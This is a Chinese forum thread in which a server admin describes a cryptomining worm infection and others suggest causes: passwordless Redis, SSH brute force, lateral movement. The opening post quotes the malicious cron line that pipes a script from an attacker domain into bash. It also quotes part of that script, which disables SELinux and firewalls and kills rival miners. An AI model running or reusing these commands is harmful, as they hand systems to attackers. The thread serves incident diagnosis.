公司服务器被挖矿的入侵了

[lamesbond]

今早登录服务器发现定时任务被篡改了，改成下面这样 30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh 看脚本发现有挖矿程序，有一台被入侵的服务器 cpu 内存拉满，其他的都正常，怀疑是 redis 入侵，redis 没设密码，但有一台没装 redis 的也被入侵了，排查半天不知道服务器怎么被入侵的，大佬们帮忙看看，脚本如下： #!/bin/bash SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin setenforce 0 2>/dev/null ulimit -n 65535 ufw disable iptables -F echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf sysctl -w vm.nr_hugepages=$((1168+$(nproc))) echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep '23.94.24.12' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '134.122.17.13' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '66.70.218.40' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '209.141.35.17' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % echo "123" netstat -antp | grep '119.28.4.91' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '101.32.73.178' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep 185.238.250.137 | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep tmate | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep kinsing | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep kdevtmpfsi | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep pythonww | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep tcpp | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep c3pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep xmr | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep f2pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep crypto-pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep t00ls | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep vihansoft | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep mrbpool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % ps -fe | grep '/usr/sbin/sshd' | grep 'sshgood' | grep -v grep | awk '{print $2}' | sed -e 's//.//g' | xargs -I % kill -9 % ps aux | grep -a -E "kdevtmpfsi|kinsing|solr|f2pool|tcpp|xmr|tmate|185.238.250.137|c3pool" | awk '{print $2}' | xargs kill -9

没装 redis 的是从装了 redis 的这台跳过去的吧。。。
redis 不设密码想啥呢。。。

[DUWENINK]

我也是今天刚中的 我也是 redis 没设置密码 有清除这个病毒的脚本吗

[n0th1n9]

未授权 redis 写定时任务 https://blog.csdn.net/kouryoushine/article/details/87917762

[lamesbond]

@kokutou 我找了几台中招的服务器的 redis 日志，都没查出有关侵入的痕迹

[lamesbond]

我看网上 redis 被攻击的都是 redis 端口暴露在公网了，我这中招的都是内网的服务器，有些 nginx，tomcat，java 服务的端口是通过路由器 nat 转发暴露在公网的，但 redis 没有在公网暴露端口

[branchWater]

我公司前段时间一台服务器的 mongodb 没有设密码也是被入侵了。

[learningman]

只要有一台没了，病毒就可以内网平移
（是这个词吧）

[des]

你自己都说了 是 redis 入侵，redis 没设密码。
你说想咋问怎么入侵的？！

[zszhere]

如果有重要数据 找专业的安全服务处理吧 你这是边界被打穿后被内网漫游了 大部分是挖矿蠕虫自己打的 少部分是人工攻击。看下你的.ssh 目录里面会多了公钥，还会修改你的二进制文件，还有增加定时任务。

[lamesbond]

@zszhere 谢谢指点，看了几篇内网漫游的文章，感觉只要有服务暴露在公网，黑客就有办法入侵，已经超出我的理解范围了，我还是恢复数据然后重装系统吧，密码设复杂点

[lamesbond]

@DUWENINK 杀不干净的，我直接备份数据重装系统了

[andychen1101101]

发现是 nginx 被攻击了，重装系统也没用

[lamesbond]

https://bbs.pediy.com/thread-262790.htm
找到一篇讲这个病毒的文章，和我的情况及其相似，今天发现 aws 上有一台 ec2 也中毒了，运维同事都注意一下

[Gav1n1995]

去年个人服务器也是 redis 没设密码被入侵了

[lamesbond]

基本确定是 ssh 被爆破了，应该是有内网服务器被黑了，进而侵入其他服务器。
但是 aws 上的 ec2 只能普通用户登录，还要加密钥，redis 绑定的 127.0.0.1，这都被黑了，太恐怖了
